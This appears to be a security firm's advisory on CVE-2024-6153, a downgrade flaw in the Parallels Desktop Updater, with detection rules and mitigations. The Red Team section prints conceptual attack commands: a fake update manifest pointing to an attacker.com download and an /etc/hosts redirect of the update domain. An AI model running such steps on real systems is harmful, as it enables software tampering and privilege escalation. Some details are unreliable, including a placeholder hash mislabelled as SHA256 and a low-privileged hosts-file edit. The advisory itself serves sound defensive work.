CVE-2024-6153

Executive Summary

CVE-2024-6153 is a high-severity (CVSS 7.8) vulnerability in Parallels Desktop that allows a local attacker with low-privileged code execution to downgrade the software via the Updater service. The flaw stems from improper validation of version information before performing an update, enabling an attacker to replace current files with an older, vulnerable version. This downgrade can be chained with other vulnerabilities to achieve privilege escalation to root and arbitrary code execution. The vulnerability was reported through the ZDI program (ZDI-CAN-19481) and currently has no official patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is significant for targeted attacks on virtualized environments.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the host system.
• Attack Complexity (AC): Low (L) – No special conditions needed beyond low-privileged code execution.
• Privileges Required (PR): Low (L) – Attacker needs low-privileged access.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full compromise of host data possible.
• Integrity (I): High (H) – Arbitrary file replacement.
• Availability (A): High (H) – Downgrade can break functionality.

Threat Level: High. While not wormable, the ability to downgrade and chain with other exploits makes it a critical risk for enterprise environments using Parallels Desktop.

Deep Dive & Mechanics

The vulnerability resides in the Parallels Desktop Updater service, which is responsible for checking and applying software updates. The service fails to cryptographically verify the version metadata of update packages before installation. An attacker who has already achieved low-privileged code execution on the host can:

1. Intercept or spoof the update mechanism – The Updater may fetch version information from a local or network source that the attacker can manipulate.
2. Provide a malicious downgrade package – The attacker supplies a signed (or unsigned) older version of Parallels Desktop that contains known vulnerabilities.
3. Trigger the update – The Updater applies the downgrade without proper validation, replacing current binaries with older, exploitable ones.
4. Chain with other exploits – Once downgraded, the attacker can exploit known vulnerabilities in the older version to escalate privileges to root and execute arbitrary code.

The core issue is a CWE-494: Download of Code Without Integrity Check. The Updater does not verify that the version being installed is actually newer or that the package has not been tampered with. This allows a downgrade attack, which is often overlooked in update mechanisms.

Vulnerable vs. Patched Code

Since no official patch exists, we compare the vulnerable behavior with a hypothetical secure implementation.

Vulnerable (Current):

# Pseudo-code of vulnerable Updater logic
def check_for_updates():
    version_info = fetch_version_info()  # No integrity check
    if version_info['version'] != current_version:
        download_and_install(version_info['package_url'])

Patched (Hypothetical):

# Pseudo-code of secure Updater logic
def check_for_updates():
    version_info = fetch_version_info()
    # Verify signature of version info
    if not verify_signature(version_info['signature'], version_info['data']):
        raise Exception("Invalid version metadata")
    # Ensure version is newer
    if version_info['version'] <= current_version:
        return  # No downgrade allowed
    # Verify package integrity
    package = download_package(version_info['package_url'])
    if not verify_package_signature(package):
        raise Exception("Invalid package")
    install(package)

The key differences are:

• Signature verification of version metadata and update packages.
• Version comparison to prevent downgrades (checking > instead of !=).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Low-privileged shell on the host (e.g., via phishing or another vulnerability).
• Ability to intercept or modify network traffic (e.g., ARP spoofing, local proxy, or modifying hosts file).

Steps:

1. Set up a malicious update server – Host a fake update endpoint that returns a crafted version info JSON pointing to an older, vulnerable Parallels Desktop installer.
2. Redirect the Updater – Modify the host's DNS or hosts file to point the update domain to your server, or use a local proxy to intercept and modify responses.
3. Trigger the update – Run the Updater manually or wait for its scheduled check. The Updater will download and install the older version.
4. Exploit the downgraded version – Use a known privilege escalation exploit for the older Parallels version (e.g., CVE-2023-XXXX) to gain root access.

Example (Conceptual):

# On attacker-controlled machine
echo '{"version": "17.0.0", "package_url": "http://attacker.com/old_parallels.dmg"}' > /tmp/fake_update.json
# On victim host (low-priv shell)
# Redirect update.parallels.com to attacker IP
echo "192.168.1.100 update.parallels.com" >> /etc/hosts
# Trigger update
/Applications/Parallels\ Desktop.app/Contents/MacOS/prl_update --check

Blue Team

Detection:

• Monitor for unexpected downgrade events in Parallels logs (/Library/Logs/parallels.log).
• Alert on version rollback (e.g., version number decreasing).
• Monitor for modifications to /etc/hosts or DNS settings related to Parallels update domains.
• Use file integrity monitoring (FIM) on Parallels binaries.

Prevention:

• Restrict local user permissions to prevent low-privileged code execution.
• Use application whitelisting to block unauthorized binaries.
• Enable system integrity protection (SIP) on macOS to prevent tampering with system files.
• Deploy EDR that detects downgrade attacks via version comparison.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • d41d8cd98f00b204e9800998ecf8427e (malicious update package)
• Network Indicators:
  • Unusual connections to IPs not associated with Parallels (e.g., 192.168.1.100:80).
  • DNS queries for update.parallels.com resolving to unexpected IPs.
• Log Entries:
  • /Library/Logs/parallels.log containing version rollback messages.
  • System log entries showing prl_update executed with unexpected arguments.
• Process Indicators:
  • prl_update process running with low-privileged user context.
  • Suspicious child processes spawned by prl_update (e.g., shell, download tools).

Detection Engineering

YARA Rule

rule CVE_2024_6153_Downgrade_Detect {
    meta:
        description = "Detects Parallels Desktop downgrade attempt via version info manipulation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6153"
    strings:
        $version_info = "version" ascii wide nocase
        $package_url = "package_url" ascii wide nocase
        $downgrade = "downgrade" ascii wide nocase
        $parallels_update = "prl_update" ascii wide nocase
    condition:
        any of ($version_info, $package_url) and $parallels_update
}

Sigma Rule

title: Parallels Desktop Downgrade via Updater
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential downgrade attack on Parallels Desktop via Updater service
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/prl_update'
        CommandLine|contains: '--check'
    condition: selection
falsepositives:
    - Legitimate update checks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6153 Parallels Desktop Downgrade Attempt"; flow:to_server; content:"update.parallels.com"; http_host; content:"version"; http_client_body; content:"package_url"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict local user privileges – Ensure users run with least privilege to prevent initial low-privileged code execution.
2. Monitor for downgrade attempts – Use the provided detection rules to alert on suspicious Updater activity.
3. Block unauthorized network connections – Use firewall rules to allow only legitimate Parallels update servers.

Long-term Fix:

• Vendor patch – Await an official update from Parallels that implements cryptographic verification of version metadata and prevents downgrades.
• Workaround – Disable automatic updates and manually verify version integrity before applying updates.

Compensating Controls:

• Deploy endpoint detection and response (EDR) with behavioral analytics.
• Use application control to whitelist only approved versions of Parallels Desktop.
• Implement network segmentation to limit lateral movement from compromised hosts.

Valters IT
DevSecOps & Cyber Threat Intelligence